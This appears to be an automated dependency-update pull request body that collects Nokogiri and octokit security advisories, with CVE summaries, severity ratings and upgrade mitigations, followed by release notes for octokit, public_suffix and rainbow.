Please note that this advisory only applies to the CRuby implementation of Nokogiri, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's
libxml2release announcements.JRuby users are not affected.
Mitigation
Upgrade to Nokogiri
~> 1.15.6or>= 1.16.2.Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
and link Nokogiri against patched external libxml2 libraries which will also address these same
issues.Impact
From the CVE description, this issue applies to the
xmlTextReadermodule (which underliesNokogiri::XML::Reader):When using the XML Reader interface with DTD validation and XInclude expansion enabled, processing crafted XML documents can lead to an xmlValidatePopElement use-after-free.
Timeline
- 2024-02-04 10:35 EST - this GHSA is drafted without complete details about when the upstream issue was introduced; a request is made of libxml2 maintainers for more detailed information
- 2024-02-04 10:48 EST - updated GHSA to reflect libxml2 maintainers' confirmation of affected versions
- 2024-02-04 11:54 EST - v1.16.2 published, this GHSA made public
- 2024-02-05 10:18 EST - updated with MITRE link to the CVE information, and updated "Impact" section
- 2024-03-16 09:03 EDT - v1.15.6 published (see discussion at #3146), updated mitigation information
- 2024-03-18 22:12 EDT - update "affected products" range with v1.15.6 information
π¨ Nokogiri updates packaged libxml2 to v2.10.4 to resolve multiple CVEs
Summary
Nokogiri v1.14.3 upgrades the packaged version of its dependency libxml2 to v2.10.4 from v2.10.3.
libxml2 v2.10.4 addresses the following known vulnerabilities:
- CVE-2023-29469: Hashing of empty dict strings isn't deterministic
- CVE-2023-28484: Fix null deref in xmlSchemaFixupComplexType
- Schemas: Fix null-pointer-deref in xmlSchemaCheckCOSSTDerivedOK
Please note that this advisory only applies to the CRuby implementation of Nokogiri
< 1.14.3, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro'slibxml2release announcements.Mitigation
Upgrade to Nokogiri
>= 1.14.3.Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against external libraries libxml2
>= 2.10.4which will also address these same issues.Impact
No public information has yet been published about the security-related issues other than the upstream commits. Examination of those changesets indicate that the more serious issues relate to libxml2 dereferencing NULL pointers and potentially segfaulting while parsing untrusted inputs.
The commits can be examined at:
- [CVE-2023-29469] Hashing of empty dict strings isn't deterministic (09a2dd45) Β· Commits Β· GNOME / libxml2 Β· GitLab
- [CVE-2023-28484] Fix null deref in xmlSchemaFixupComplexType (647e072e) Β· Commits Β· GNOME / libxml2 Β· GitLab
- schemas: Fix null-pointer-deref in xmlSchemaCheckCOSSTDerivedOK (4c6922f7) Β· Commits Β· GNOME / libxml2 Β· GitLab
π¨ Unchecked return value from xmlTextReaderExpand
Summary
Nokogiri
1.13.8, 1.13.9fails to check the return value fromxmlTextReaderExpandin the methodNokogiri::XML::Reader#attribute_hash. This can lead to a null pointer exception when invalid markup is being parsed.For applications using
XML::Readerto parse untrusted inputs, this may potentially be a vector for a denial of service attack.Mitigation
Upgrade to Nokogiri
>= 1.13.10.Users may be able to search their code for calls to either
XML::Reader#attributesorXML::Reader#attribute_hashto determine if they are affected.Severity
The Nokogiri maintainers have evaluated this as High Severity 7.5 (CVSS3.1).
References
Credit
This vulnerability was responsibly reported by @davidwilemski.
π¨ Update bundled libxml2 to v2.10.3 to resolve multiple CVEs
Summary
Nokogiri v1.13.9 upgrades the packaged version of its dependency libxml2 to v2.10.3 from v2.9.14.
libxml2 v2.10.3 addresses the following known vulnerabilities:
Please note that this advisory only applies to the CRuby implementation of Nokogiri
< 1.13.9, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro'slibxml2release announcements.Mitigation
Upgrade to Nokogiri
>= 1.13.9.Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against external libraries libxml2
>= 2.10.3which will also address these same issues.Impact
libxml2 CVE-2022-2309
- CVSS3 score: Under evaluation
- Type: Denial of service
- Description: NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.
Nokogiri maintainers investigated at #2620 and determined this CVE does not affect Nokogiri users.
libxml2 CVE-2022-40304
- CVSS3 score: Unspecified upstream
- Type: Data corruption, denial of service
- Description: When an entity reference cycle is detected, the entity content is cleared by setting its first byte to zero. But the entity content might be allocated from a dict. In this case, the dict entry becomes corrupted leading to all kinds of logic errors, including memory errors like double-frees.
See https://gitlab.gnome.org/GNOME/libxml2/-/commit/644a89e080bced793295f61f18aac8cfad6bece2
libxml2 CVE-2022-40303
- CVSS3 score: Unspecified upstream
- Type: Integer overflow
- Description: Integer overflows with XML_PARSE_HUGE
See https://gitlab.gnome.org/GNOME/libxml2/-/commit/c846986356fc149915a74972bf198abc266bc2c0
References
π¨ libxslt Type Confusion vulnerability that affects Nokogiri
In
numbers.cin libxslt 1.1.33, a type holding grouping characters of anxsl:numberinstruction was too narrow and an invalid character/length combination could be passed toxsltNumberFormatDecimal, leading to a read of uninitialized stack data.Nokogiri prior to version 1.10.5 used a vulnerable version of libxslt. Nokogiri 1.10.5 updated libxslt to version 1.1.34 to address this and other vulnerabilities in libxslt.
π¨ Uninitialized read in Nokogiri gem
In numbers.c in libxslt 1.1.33, an xsl:number with certain format strings could lead to a uninitialized read in xsltNumberFormatInsertNumbers. This could allow an attacker to discern whether a byte on the stack contains the characters A, a, I, i, or 0, or any other character.
π¨ Nokogiri Implements libxml2 version vulnerable to null pointer dereferencing
A vulnerability found in libxml2 in versions before 2.9.11 shows that it did not propagate errors while parsing XML mixed content, causing a NULL dereference. If an untrusted XML document was parsed in recovery mode and post-validated, the flaw could be used to crash the application. The highest threat from this vulnerability is to system availability.
π¨ Nokogiri affected by libxslt Use of Uninitialized Resource/Use After Free vulnerability
In xsltCopyText in transform.c in libxslt 1.1.33, a pointer variable isn't reset under certain circumstances. If the relevant memory area happened to be freed and reused in a certain way, a bounds check could fail and memory outside a buffer could be written to, or uninitialized data could be disclosed.
Nokogiri prior to version 1.10.5 contains a vulnerable version of libxslt. Nokogiri version 1.10.5 upgrades the dependency to libxslt 1.1.34, which contains a patch for this issue.
π¨ Nokogiri implementation of libxslt vulnerable to heap corruption
Type confusion in
xsltNumberFormatGetMultipleLevelprior to libxslt 1.1.33 could allow attackers to potentially exploit heap corruption via crafted XML data.Nokogiri prior to version 1.10.5 contains a vulnerable version of libxslt. Nokogiri version 1.10.5 upgrades the dependency to libxslt 1.1.34, which contains a patch for this issue.
π¨ Nokogiri Implements libxml2 version vulnerable to use-after-free
There's a flaw in libxml2 in versions before 2.9.11. An attacker who is able to submit a crafted file to be processed by an application linked with libxml2 could trigger a use-after-free. The greatest impact from this flaw is to confidentiality, integrity, and availability.
π¨ Nokogiri contains libxml Out-of-bounds Write vulnerability
There is a flaw in the xml entity encoding functionality of libxml2 in versions before 2.9.11. An attacker who is able to supply a crafted file to be processed by an application linked with the affected functionality of libxml2 could trigger an out-of-bounds read. The most likely impact of this flaw is to application availability, with some potential impact to confidentiality and integrity if an attacker is able to use memory information to further exploit the application.
Nokogiri prior to version 1.11.4 used a vulnerable version of libxml2. Nokogiri 1.11.4 updated libxml2 to version 2.9.11 to address this and other vulnerabilities in libxml2.
π¨ Nokogiri has vulnerable dependencies on libxml2 and libxslt
Use after free in Blink XSLT in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
π¨ Nokogiri Improperly Handles Unexpected Data Type
Summary
Nokogiri
< v1.13.6does not type-check all inputs into the XML and HTML4 SAX parsers. For CRuby users, this may allow specially crafted untrusted inputs to cause illegal memory access errors (segfault) or reads from unrelated memory.Severity
The Nokogiri maintainers have evaluated this as High 8.2 (CVSS3.1).
Mitigation
CRuby users should upgrade to Nokogiri
>= 1.13.6.JRuby users are not affected.
Workarounds
To avoid this vulnerability in affected applications, ensure the untrusted input is a
Stringby calling#to_sor equivalent.Credit
This vulnerability was responsibly reported by @agustingianni and the Github Security Lab.
π¨ Integer Overflow or Wraparound in libxml2 affects Nokogiri
Summary
Nokogiri v1.13.5 upgrades the packaged version of its dependency libxml2 from v2.9.13 to v2.9.14.
libxml2 v2.9.14 addresses CVE-2022-29824. This version also includes several security-related bug fixes for which CVEs were not created, including a potential double-free, potential memory leaks, and integer-overflow.
Please note that this advisory only applies to the CRuby implementation of Nokogiri
< 1.13.5, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro'slibxml2andlibxsltrelease announcements.Mitigation
Upgrade to Nokogiri
>= 1.13.5.Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against external libraries libxml2
>= 2.9.14which will also address these same issues.Impact
libxml2 CVE-2022-29824
- CVSS3 score:
- Unspecified upstream
- Nokogiri maintainers evaluate at 8.6 (High) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H). Note that this is different from the CVSS assessed by NVD.
- Type: Denial of service, information disclosure
- Description: In libxml2 before 2.9.14, several buffer handling functions in buf.c (xmlBuf*) and tree.c (xmlBuffer*) don't check for integer overflows. This can result in out-of-bounds memory writes. Exploitation requires a victim to open a crafted, multi-gigabyte XML file. Other software using libxml2's buffer functions, for example libxslt through 1.1.35, is affected as well.
- Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/2554a24
All versions of libml2 prior to v2.9.14 are affected.
Applications parsing or serializing multi-gigabyte documents (in excess of INT_MAX bytes) may be vulnerable to an integer overflow bug in buffer handling that could lead to exposure of confidential data, modification of unrelated data, or a segmentation fault resulting in a denial-of-service.
References
π¨ Out-of-bounds Write in zlib affects Nokogiri
Summary
Nokogiri v1.13.4 updates the vendored zlib from 1.2.11 to 1.2.12, which addresses CVE-2018-25032. That CVE is scored as CVSS 7.4 "High" on the NVD record as of 2022-04-05.
Please note that this advisory only applies to the CRuby implementation of Nokogiri
< 1.13.4, and only if the packaged version ofzlibis being used. Please see this document for a complete description of which platform gems vendorzlib. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro'szlibrelease announcements.Mitigation
Upgrade to Nokogiri
>= v1.13.4.Impact
CVE-2018-25032 in zlib
- Severity: High
- Type: CWE-787 Out of bounds write
- Description: zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.
π¨ XML Injection in Xerces Java affects Nokogiri
Summary
Nokogiri v1.13.4 updates the vendored
xerces:xercesImplfrom 2.12.0 to 2.12.2, which addresses CVE-2022-23437. That CVE is scored as CVSS 6.5 "Medium" on the NVD record.Please note that this advisory only applies to the JRuby implementation of Nokogiri
< 1.13.4.Mitigation
Upgrade to Nokogiri
>= v1.13.4.Impact
CVE-2022-23437 in xerces-J
- Severity: Medium
- Type: CWE-91 XML Injection (aka Blind XPath Injection)
- Description: There's a vulnerability within the Apache Xerces Java (XercesJ) XML parser when handling specially crafted XML document payloads. This causes, the XercesJ XML parser to wait in an infinite loop, which may sometimes consume system resources for prolonged duration. This vulnerability is present within XercesJ version 2.12.1 and the previous versions.
- See also: GHSA-h65f-jvqw-m9fj
π¨ Nokogiri Inefficient Regular Expression Complexity
Summary
Nokogiri
< v1.13.4contains an inefficient regular expression that is susceptible to excessive backtracking when attempting to detect encoding in HTML documents.Mitigation
Upgrade to Nokogiri
>= 1.13.4.Severity
The Nokogiri maintainers have evaluated this as High Severity 7.5 (CVSS3.1).
References
CWE-1333 Inefficient Regular Expression Complexity
Credit
This vulnerability was reported by HackerOne user ooooooo_q (γͺγͺγγ).
π¨ Denial of Service (DoS) in Nokogiri on JRuby
Summary
Nokogiri
v1.13.4updates the vendoredorg.cyberneko.htmllibrary to1.9.22.noko2which addresses CVE-2022-24839. That CVE is rated 7.5 (High Severity).See GHSA-9849-p7jc-9rmv for more information.
Please note that this advisory only applies to the JRuby implementation of Nokogiri
< 1.13.4.Mitigation
Upgrade to Nokogiri
>= 1.13.4.Impact
CVE-2022-24839 in nekohtml
- Severity: High 7.5
- Type: CWE-400 Uncontrolled Resource Consumption
- Description: The fork of
org.cyberneko.htmlused by Nokogiri (Rubygem) raises ajava.lang.OutOfMemoryErrorexception when parsing ill-formed HTML markup.- See also: GHSA-9849-p7jc-9rmv
π¨ Nokogiri affected by zlib's Out-of-bounds Write vulnerability
zlib 1.2.11 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.
π¨ Vulnerable dependencies in Nokogiri
Summary
Nokogiri v1.13.2 upgrades two of its packaged dependencies:
Those library versions address the following upstream CVEs:
- libxslt: CVE-2021-30560 (CVSS 8.8, High severity)
- libxml2: CVE-2022-23308 (Unspecified severity, see more information below)
Those library versions also address numerous other issues including performance improvements, regression fixes, and bug fixes, as well as memory leaks and other use-after-free issues that were not assigned CVEs.
Please note that this advisory only applies to the CRuby implementation of Nokogiri
< 1.13.2, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro'slibxml2andlibxsltrelease announcements.Mitigation
Upgrade to Nokogiri
>= 1.13.2.Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link an older version Nokogiri against external libraries libxml2
>= 2.9.13and libxslt>= 1.1.35, which will also address these same CVEs.Impact
libxslt CVE-2021-30560
- CVSS3 score: 8.8 (High)
- Fixed by https://gitlab.gnome.org/GNOME/libxslt/-/commit/50f9c9c
All versions of libxslt prior to v1.1.35 are affected.
Applications using untrusted XSL stylesheets to transform XML are vulnerable to a denial-of-service attack and should be upgraded immediately.
libxml2 CVE-2022-23308
- As of the time this security advisory was published, there is no officially published information available about this CVE's severity. The above NIST link does not yet have a published record, and the libxml2 maintainer has declined to provide a severity score.
- Fixed by https://gitlab.gnome.org/GNOME/libxml2/-/commit/652dd12
- Further explanation is at https://mail.gnome.org/archives/xml/2022-February/msg00015.html
The upstream commit and the explanation linked above indicate that an application may be vulnerable to a denial of service, memory disclosure, or code execution if it parses an untrusted document with parse options
DTDVALIDset to true, andNOENTset to false.An analysis of these parse options:
- While
NOENTis off by default for Document, DocumentFragment, Reader, and Schema parsing, it is on by default for XSLT (stylesheet) parsing in Nokogiri v1.12.0 and later.DTDVALIDis an option that Nokogiri does not set for any operations, and so this CVE applies only to applications setting this option explicitly.It seems reasonable to assume that any application explicitly setting the parse option
DTDVALIDwhen parsing untrusted documents is vulnerable and should be upgraded immediately.
π¨ Improper Restriction of XML External Entity Reference (XXE) in Nokogiri on JRuby
Severity
The Nokogiri maintainers have evaluated this as High Severity 7.5 (CVSS3.0) for JRuby users. (This security advisory does not apply to CRuby users.)
Impact
In Nokogiri v1.12.4 and earlier, on JRuby only, the SAX parser resolves external entities by default.
Users of Nokogiri on JRuby who parse untrusted documents using any of these classes are affected:
- Nokogiri::XML::SAX::Parser
- Nokogiri::HTML4::SAX::Parser or its alias Nokogiri::HTML::SAX::Parser
- Nokogiri::XML::SAX::PushParser
- Nokogiri::HTML4::SAX::PushParser or its alias Nokogiri::HTML::SAX::PushParser
Mitigation
JRuby users should upgrade to Nokogiri v1.12.5 or later. There are no workarounds available for v1.12.4 or earlier.
CRuby users are not affected.
π¨ Nokogiri updates packaged dependency on libxml2 from 2.9.10 to 2.9.12
Summary
Nokogiri v1.11.4 updates the vendored libxml2 from v2.9.10 to v2.9.12 which addresses:
- CVE-2019-20388 (Medium severity)
- CVE-2020-24977 (Medium severity)
- CVE-2021-3517 (Medium severity)
- CVE-2021-3518 (Medium severity)
- CVE-2021-3537 (Low severity)
- CVE-2021-3541 (Low severity)
Note that two additional CVEs were addressed upstream but are not relevant to this release. CVE-2021-3516 via
xmllintis not present in Nokogiri, and CVE-2020-7595 has been patched in Nokogiri since v1.10.8 (see #1992).Please note that this advisory only applies to the CRuby implementation of Nokogiri
< 1.11.4, and only if the packaged version of libxml2 is being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro'slibxml2release announcements.Mitigation
Upgrade to Nokogiri
>= 1.11.4.Impact
I've done a brief analysis of the published CVEs that are addressed in this upstream release. The libxml2 maintainers have not released a canonical set of CVEs, and so this list is pieced together from secondary sources and may be incomplete.
All information below is sourced from security.archlinux.org, which appears to have the most up-to-date information as of this analysis.
CVE-2019-20388
- Severity: Medium
- Type: Denial of service
- Description: A memory leak was found in the xmlSchemaValidateStream function of libxml2. Applications that use this library may be vulnerable to memory not being freed leading to a denial of service.
- Fixed: https://gitlab.gnome.org/GNOME/libxml2/commit/7ffcd44d7e6c46704f8af0321d9314cd26e0e18a
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
CVE-2020-7595
- Severity: Medium
- Type: Denial of service
- Description: xmlStringLenDecodeEntities in parser.c in libxml2 2.9.10 has an infinite loop in a certain end-of-file situation.
- Fixed: https://gitlab.gnome.org/GNOME/libxml2/commit/0e1a49c8907645d2e155f0d89d4d9895ac5112b5
This has been patched in Nokogiri since v1.10.8 (see #1992).
CVE-2020-24977
- Severity: Medium
- Type: Information disclosure
- Description: GNOME project libxml2 <= 2.9.10 has a global buffer over-read vulnerability in xmlEncodeEntitiesInternal at libxml2/entities.c.
- Fixed: https://gitlab.gnome.org/GNOME/libxml2/commit/50f06b3efb638efb0abd95dc62dca05ae67882c2
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
CVE-2021-3516
- Severity: Medium
- Type: Arbitrary code execution (no remote vector)
- Description: A use-after-free security issue was found libxml2 before version 2.9.11 when "xmllint --html --push" is used to process crafted files.
- Issue: https://gitlab.gnome.org/GNOME/libxml2/-/issues/230
- Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/1358d157d0bd83be1dfe356a69213df9fac0b539
Verified that the fix commit first appears in v2.9.11. This vector does not exist within Nokogiri, which does not ship
xmllint.CVE-2021-3517
- Severity: Medium
- Type: Arbitrary code execution
- Description: A heap-based buffer overflow was found in libxml2 before version 2.9.11 when processing truncated UTF-8 input.
- Issue: https://gitlab.gnome.org/GNOME/libxml2/-/issues/235
- Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/bf22713507fe1fc3a2c4b525cf0a88c2dc87a3a2
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
CVE-2021-3518
- Severity: Medium
- Type: Arbitrary code execution
- Description: A use-after-free security issue was found in libxml2 before version 2.9.11 in xmlXIncludeDoProcess() in xinclude.c when processing crafted files.
- Issue: https://gitlab.gnome.org/GNOME/libxml2/-/issues/237
- Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/1098c30a040e72a4654968547f415be4e4c40fe7
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
CVE-2021-3537
- Severity: Low
- Type: Denial of service
- Description: It was found that libxml2 before version 2.9.11 did not propagate errors while parsing XML mixed content, causing a NULL dereference. If an untrusted XML document was parsed in recovery mode and post-validated, the flaw could be used to crash the application.
- Issue: https://gitlab.gnome.org/GNOME/libxml2/-/issues/243
- Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/babe75030c7f64a37826bb3342317134568bef61
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
CVE-2021-3541
- Severity: Low
- Type: Denial of service
- Description: A security issue was found in libxml2 before version 2.9.11. Exponential entity expansion attack its possible bypassing all existing protection mechanisms and leading to denial of service.
- Fixed: https://gitlab.gnome.org/GNOME/libxml2/-/commit/8598060bacada41a0eb09d95c97744ff4e428f8e
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4, however Nokogiri's default parse options prevent the attack from succeeding (it is necessary to opt into
DTDLOADwhich is off by default).For more details supporting this analysis of this CVE, please visit #2233.
π¨ Nokogiri::XML::Schema trusts input by default, exposing risk of XXE vulnerability
Severity
Nokogiri maintainers have evaluated this as Low Severity (CVSS3 2.6).
Description
In Nokogiri versions <= 1.11.0.rc3, XML Schemas parsed by
Nokogiri::XML::Schemaare trusted by default, allowing external resources to be accessed over the network, potentially enabling XXE or SSRF attacks.This behavior is counter to the security policy followed by Nokogiri maintainers, which is to treat all input as untrusted by default whenever possible.
Please note that this security fix was pushed into a new minor version, 1.11.x, rather than a patch release to the 1.10.x branch, because it is a breaking change for some schemas and the risk was assessed to be "Low Severity".
Affected Versions
Nokogiri
<= 1.10.10as well as prereleases1.11.0.rc1,1.11.0.rc2, and1.11.0.rc3Mitigation
There are no known workarounds for affected versions. Upgrade to Nokogiri
1.11.0.rc4or later.If, after upgrading to
1.11.0.rc4or later, you wish to re-enable network access for resolution of external resources (i.e., return to the previous behavior):
- Ensure the input is trusted. Do not enable this option for untrusted input.
- When invoking the
Nokogiri::XML::Schemaconstructor, pass as the second parameter an instance ofNokogiri::XML::ParseOptionswith theNONETflag turned off.So if your previous code was:
# in v1.11.0.rc3 and earlier, this call allows resources to be accessed over the network # but in v1.11.0.rc4 and later, this call will disallow network access for external resources schema = Nokogiri::XML::Schema.new(schema) # in v1.11.0.rc4 and later, the following is equivalent to the code above # (the second parameter is optional, and this demonstrates its default value) schema = Nokogiri::XML::Schema.new(schema, Nokogiri::XML::ParseOptions::DEFAULT_SCHEMA)Then you can add the second parameter to indicate that the input is trusted by changing it to:
# in v1.11.0.rc3 and earlier, this would raise an ArgumentError # but in v1.11.0.rc4 and later, this allows resources to be accessed over the network schema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)References
- This issue's public advisory
- Original Hackerone report (private)
- OWASP description of XXE attack
- OWASP description of SSRF attack
Credit
This vulnerability was independently reported by @eric-therond and @gucki.
The Nokogiri maintainers would like to thank HackerOne for providing a secure, responsible mechanism for reporting, and for providing their fantastic service to us.
π¨ libxml as used in Nokogiri has an infinite loop in a certain end-of-file situation
xmlStringLenDecodeEntities in parser.c in libxml2 2.9.10 has an infinite loop in a certain end-of-file situation.
The Nokogiri RubyGem has patched its vendored copy of libxml2 in order to prevent this issue from affecting nokogiri.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ octokit (indirect, 4.14.0 β 4.25.1) Β· Repo Β· Changelog
Security Advisories π¨
π¨ Octokit gem published with world-writable files
Impact
Versions 4.23.0 and 4.24.0 of the octokit gem were published containing world-writeable files.
Specifically, the gem was packed with files having their permissions set to
-rw-rw-rw-(i.e. 0666) instead ofrw-r--r--(i.e. 0644). This means everyone who is not the owner (Group and Public) with access to the instance where this release had been installed could modify the world-writable files from this gem.Malicious code already present and running on your machine, separate from this package, could modify the gemβs files and change its behavior during runtime.
Patches
Workarounds
Users can use the previous version of the gem v4.22.0. Alternatively, users can modify the file permissions manually until they are able to upgrade to the latest version.
Release Notes
4.25.1
- Stop configuring Faraday's retry middleware twice (@Edouard-chin)
- Fix various Ruby warnings (e.g. missing parentheses) (@coryf)
4.25.0
β NOTE: This remediates A security advisory was published on versions 4.23.0 and 4.24.0 of this gem. You can read more about this in the published security advisory.β DX Improvements
- Rubocop improvements by @timrogers in #1441
- Require multi-factor authentication to push new releases to RubyGems by @timrogers in #1443
CI Improvements
Updates all build scripts to be more durable and adds details on how to run a manual file integrity check by @nickfloyd in #1446
Housekeeping
- Drop support for Ruby 1.9.2 in
Octokit::Client::Contents#create_contentsby @timrogers in #1442Full Changelog: v4.24.0...v4.25.0
4.24.0
Known issues
Note: This release fixes the issue around autoloading modules causing some modules to not load before use #1428
Code improvements
- #1354, #1426 Enabling Ruby's immutable ("frozen") string literals i.e.
--enable-frozen-string-literalvia @timrogers and @olleolleolle
CI Improvements
- Adds Code QL analysis to octokit.rb via @nickfloyd
Bug fixes
- #1428 Fixes module loading issue with autoloading (this reverts #1351 ) - more information here via @collinsauve. @waiting-for-dev, @etiennebarrie, @timrogers, and @nickfloyd
Full Changelog: v4.23.0...v4.24.0
4.23.0
Code improvements
- #1382 Correctly raise Octokit::TooManyRequests when hitting secondary rate limit via @jasonopslevel
- #1411 Adds support for Faraday v2 usage via @skryukov
CI Improvements
- #1395 Adds Ruby 3.1 to CI via @petergoldstein
Performance improvements
- #1351 Make clients autoload via @gmcgibbon
Bug fixes
- #1297 Escape label names with URL characters via @Fryguy
- #1375 Escape ref in archive_link via @max611
- #1117 & #1419 Ensures that any nil parameters being passed in will initialize with Octokit's defaults instead of nil via @akerl, @nickfloyd
- #1321 & #1415 Fixed total_count calculation when paginating results for check runs and check suites via @a2ikm, @matiasalbarello
- #1121 Fixes service status methods via @vierarb
Documentation
- #1414 replace git.io link in source docs via @wonda-tea-coffee
- #1412 Document how and when the SDK raises exceptions via @timrogers
- #1356 Fixes grammar and style via @nikoandpiko
Full Changelog: v4.22.0...v4.23.0
4.22.0
Deprecation Fix
- #1359 Fix Faraday deprecation warning @ybiquitous
Code Improvements
- #1336 Update regex for create ref @thepwagner
- #1350 Support pagination in compare api @mrpinsky
CI and dependency updates
- #1353 Add Ruby 3.0 support for CI builds @olleolleolle
- #1387 Update pry-byebug requirement @ashishkeshan
Documentation
4.21.0
API Support
- #1319 Add delete workflow run support @szemek
- #1322 Add match refs support @AHaymond
- #1329 Add rename branch support @gmcgibbon
- #1332 Add billing actions support @M-Yamashita01
Error handling
Code clean up
Documentation
4.20.0
API Support
- #1304 Added the ability to delete a deployment @jer-k
- #1308 Add repo vulnerability alerts related functionality for repositories @calvinhughes
Bug fixes
- #1309 Paginate outside_collaborators calls @sds
- #1316 Uses of FaradayMiddleware#on_complete should not be private @tarebyte
Code improvements
- #1131 Add CommitIsNotPartOfPullRequest error @wata727
- #1303 Remove integrations preview header @MichaelViveros
- #1307 Raise Octokit::InstallationSuspended when another error is received @yykamei
Documentation
- #1302 Add documentation on how to specify the ref option for RubyDoc @aomathwift
- #1311 Fix Code of Conduct link in Table of Contents @eduardoj
4.19.0
Code Improvements
- #1223 Ensure a boolean is returned for application_authenticated @zakallen
- #1255 Update api paths in the organization api to take ids @hmharvey
- #1260 Fix last_response behavior after failures @JackTLi
- #1253 Ensure adapters set SSL options properly @tjwallace
- #1270 Add context around rate limit errors @jatindhankhar
API Support
- #1252 Introduces support for the ActionWorkflow and ActionWorkflowRun APIs @petar-lazarov
- #1236 Support for ActionsSecrets API @jylitalo
- #1266 Support for get the authenticated app @kitop
- #1281 Support for create a workflow dispatch event @igfoo
- #1286 Support installation suspended failures @stmllr
- #1288 Support for user migration endpoints @stmllr
Documentation
- #1248 Fix documentation link for update a repository @spier
- #1269 Update some documentation param names @tarebyte
- #1276 Remove dangling phrase in CONTRIBUTING.md @igfoo
- #1278 Link related doc in CONTRIBUTING.md @igfoo
- #1279 Fix script typo in README.md @igfoo
- #1291 Fix typo in authorizations comments @ohbarye
CI and dependency updates
4.18.0
Documentation
- #1200 Fix an API link in the Search client @NickLaMuro
Preview Header Support
- #1183 Enable issue events API to return project events @gammons
- #1203 Update deprecated application API to new preview @oreoshake
Bug Fixes
4.17.0
Documentation
- #1200 Fix an API link in the Search client @NickLaMuro
Preview Header Support
- #1183 Enable issue events API to return project events @gammons
- #1203 Update deprecated application API to new preview @oreoshake
Bug Fixes
4.16.0
New features
- #1187 Support for Commit Branches @tgmachina
Resolve deprecation warnings
Documentation
- #1137 Clarify force parameter documentation @rmacklin
- #1186 Fix
team_by_nameexample @steinbrueckri- #1190 Fix API links in the Apps client @ybiquitous
Tooling updates
4.15.0
Preview header support
#1114 Adds drafts preview header @andrew
#1132 Update branch protection preview @spikexNew features
#1133 Support for template repositories @EricPickup
#1136 Add method to find team by name @gallexi
#1153 Add method to delete installation @yykamei
#1151 Add method to update pull request review @eric-silverman
#1162 Support for Commit pulls @tgmachinaImproved error handling
#1115 Add BillingIssue error @stmllr
#1106 Add TooLargeContent error @ybiquitous
#1164 Add SAMLProtected error @tarebyteResolve deprecation warnings
#1152 Fixversiondeprecation warning in ci builds @hmharvey
#1154 Fix faraday error subclass @GasparilaDocumentation
#1123 Add option in the pull request state parameter @4geru
#1135 Fix the contributing doc steps @gallexi
#1134 Fix the code example for update branch @rmacklin
#1139 Add assignee params @4geru
#1138 Update link to new collaborators api @shaunakpp
#1129 Add code of conduct @spikex
#1102 Update readme to point directly to v3 api @binhums
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ public_suffix (indirect, 3.1.1 β 5.1.1) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ rainbow (indirect, 3.0.0 β 3.1.1) Β· Repo Β· Changelog
Release Notes
3.1.1 (from changelog)
- fix: Ensure
filesdirective in gemspec adds all files
3.1.0 (from changelog)
- Bad release: superseded by 3.1.1.
- added
cross_outakastrike- hexadecimal color names supported better, see #83
- gemspec: list files using a Ruby expression, avoiding git
(2020-08-26 was the planned release date, but the real release date is reflected in the heading.)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 29 commits:
